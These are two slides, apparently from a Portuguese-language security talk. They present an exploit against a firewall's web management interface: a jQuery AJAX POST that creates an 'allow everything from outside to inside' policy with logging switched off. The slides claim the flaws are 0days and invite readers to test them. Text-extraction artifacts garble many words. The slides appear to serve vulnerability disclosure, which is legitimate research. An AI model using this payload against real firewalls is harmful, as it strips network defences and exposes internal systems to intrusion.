  • 23. Exploit.   •  Vamos  usar  uma  função  JSON  que  envie  via  post  todas   informações  necessárias  para  criação  de  uma  poliIca  que  permita   tudo  de  fora  para  dentro  da  rede.        $.ajax({                  type:  "POST",                  url:  "hlps://10.0.1.1:8080/put_data/",                  data:  '{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol": {"__class__":"FirewallPolicySe~ngsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-­‐ Rule","enabled":true,"descripIon":"Policy  added  on  2015-­‐05-­‐005T18:02:38-­‐03:00.","property": 0,"type":"Firewall","firewall":"Allowed","reject_acIon":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info": {"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-­‐External","address_type":-­‐1,"tunnel_type":false,"name":"","obj":null}],"to_list": [{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-­‐ Trusted","address_type":-­‐1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always   On","app_acIon":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enabled": 0,"idle_Imeout":180,"idle_Imeout_enabled":0,"policy_sIcky_Imer":0,"policy_sIcky_Imer_enabled":0,"using_global_sIcky_se~ng": 1,"apply_one_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled": 0,"snmp_enabled":0,"noIficaIon_enabled":0,"noIficaIon_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_method": 0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority":0,"pbr_enabled": 0,"pbr_interface":"","failover_enabled":0,"abs_policy_rouIng":[],"connecIon_rate_enabled":0,"connecIon_rate":100,"use_policy_based_icmp": 0,"pmtu_discovery":1,"Ime_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unreachable":1,"tag_list": []},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag": 1,"page_firewall_proxy_aciton_obj":null,"proxy_acIon_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user_hash": {},"proxy_policy_flag":false,"proxy_acIons":[],"app_acIons":[],"global_qos_enable":false,"port_protocol_se~ngs": [{"protocol":"Any","port":""}],"proxy_type":"","mulI_wan_enabled":0,"mulIwan_algo":0,"ext_interfaces": [{"if_dev_name":"eth0","data":"External","name":"External","if_num":0}],"vif_list":[],"helper_in€_list":[],"helper_tunnel_list":[],"helper_alias_list": [],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list": [],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list":[],"helper_slb_list": [],"traffic_mgmt_enabled":false,"helper_tm_acIons":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_acIon_list": [],"rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}',                    contentType:  "applicaIon/json;  charset=UTF-­‐8",    accept:  "*/*",                  dataType:  "json",  
  • 24. As  3  vulnerabilidades   apresentadas  aqui  são  0days,   Baixem  e  façam  seus   próprios  testes  J